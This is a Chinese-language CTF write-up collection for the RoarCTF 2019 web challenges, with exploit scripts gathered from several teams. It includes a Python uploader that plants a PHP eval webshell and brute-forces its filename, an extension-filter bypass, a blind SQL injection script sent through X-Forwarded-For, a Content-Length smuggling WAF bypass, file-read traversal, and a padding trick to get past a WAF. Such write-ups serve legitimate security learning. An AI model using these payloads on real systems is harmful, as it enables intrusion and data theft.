roarctf2019 web题目wp解题集合

前言

看了下Roarctf2019题目有几题是存在多解,做一个记录

环境

根据官方 已发布在BUUCTF

Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

查看了一下\Think\Upload类源码
https://github.com/top-think/thinkphp/blob/master/ThinkPHP/Library/Think/Upload.class.php
看了几家wp好像有多种做法

第一种

来自星盟安全团队和楼上请让路

发现upload是上传数组的.而代码只对$_FILES[‘file’]进行后缀的检测
而文件名是通过uniqid()创造,有相似性,可以爆破
附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://***.4hou.com.cn:34133"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
t1 = int(t1, 16)
print t1

j = t1
while True:
path = url + "/Public/Uploads/2019-10-13/%s.php" % hex(j)[2:-1]
try:
r = requests.get(path, timeout=1)
except:
continue
if r.status_code != 404:
print path
print r.text
break
print j, hex(j)[2:-1], r.status_code
j -= 1

第二种

来自 vidar-team @Roc
这种是我认为比较好的方法

在对文件名的处理中会出现strip_tags
上传一个1.ph<br>p即可
这里的主要原因是Upload类根本没有allowExts这个成员
如果是exts,则会调用checkext进行检查,
也就不会通过ph<br>p这种后缀了

Online Proxy

二次注入, 做的时候有种某名想打人的冲动 不说了 上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-  

import requests
import sys

reload(sys)
sys.setdefaultencoding('utf-8')
type = sys.getfilesystemencoding()
url = "http://gqljuflfroarctf.4hou.com.cn:49502/"
temp = " abcdefghijklmnopqrstuvwxyz"
test = '2'
header2 = {"X-Forwarded-For":test}
r= rs.get(url,headers=header2)
result = ""
x = "Last Ip: 0"

def erfen(start ,end):
return (start+end)/2

for i in range(1,400):
start = 37
end = 127
while(start != end):
j = erfen(start,end)
payload = "1' and (ascii(mid((SELECT group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)from({0})))>{1}) or '1'='2".format(str(i),str(j))
header1 = {"X-Forwarded-For":payload}
r = rs.get(url,headers=header1)
r = rs.get(url,headers=header2)
r = rs.get(url,headers=header2)
if x in r.content:
if end == j:
start = j
else :
end = j
end = j
j = erfen(start,end)
else :
if start == j:
end = j
else :
start = j
j = erfen(start,end)
result += chr(start+1)
print '----' + result
if result[-2:] == '&&':
break

easy_calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

存在waf,当有字母时会403

第一种

来自楼上请让路
http走私
一个正常的请求

加一个CL后

根据提供的环境,看了/var/log/apache2/modsec_audit.log的log
发现真正发给他的包是这样的

CL因不符合规范被返回了400,然后在转个后端服务器
即可突破限制

poc

1
2
3
4
5
import requests
url = "http://127.0.0.1:8081/calc.php?num=phpinfo()"
headers = {"Content-Length":"0, 0"}
r = requests.get(url,headers=headers)
print(r.content)

第二种

来自星盟安全团队
参考
https://www.freebuf.com/articles/web/213359.html

第三种

来自 vidar-team @E99p1ant
没有想着绕waf
而是根据数字拿到目标字符

写脚本fuzz可以得到的字符串

1
2
3
4
5
6
7
8
9
$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
for($j = 0; $j < strlen($char); $j++){
echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
echo("<br>");
echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
echo("<br>");
}
}

详情可以看参考

easy_java

有个弱口令 admin/admin888 但是没啥用
help 有个链接/Download?filename=help.docx
但是通过get请求无法获得,改成post即可
然后读/WEB-INF/web.xml
最后读/WEB-INF/classes/com/wm/ctf/FlagController.class

dist

@E99p1ant和@Moesang拿到一血
这里简单的讲讲过程
首先是从config.js里拿到/backup-for-debug.7z
代码审计 是个Gin框架
route/auth.go里发现sql注入

1
2
3
// may be SQLi here
// but dont worry, baby hackers cant break my waf
rows, err := DB.Query(fmt.Sprintf("SELECT pwd FROM users WHERE uname='%s';", j.Uname))

但是有个waf
waf/main.go里可以看到
buf := make([]byte, 4*1024)
只对前面的4096字节进行检测,后面不检测,可以传个4096个字节后面就没有黑名单的限制了
注出secretKey为**ioioio**
根据route/auth.go

1
2
3
4
session := sessions.Default(c)
session.Set("uname", j.Uname)
session.Set("isAdmin", false)
session.Save()

在本地起个Gin获取管理员cookie

接下来是一个go的cap问题
可以参考https://blog.lou00.top/index.php/archives/10/

用户点击3次beg,然后join 加入到 Pending user
管理员add-player,使用户到 Formal player 然后start调用Calc()
用户再beg 1次
等待开奖
过程类似 https://play.golang.org/p/quOQlOhqS06

phpshe

是一个phpshe v1.7 B2C的环境
看了下官网的更新时间为2018年
但是找到一个2019年的CVE-2019-9626
sql盲注
但是要普通用户权限
而给的复现环境无法注册
懒得跑后台密码
先留个坑

参考

vidar-team
楼上请让路
星盟安全团队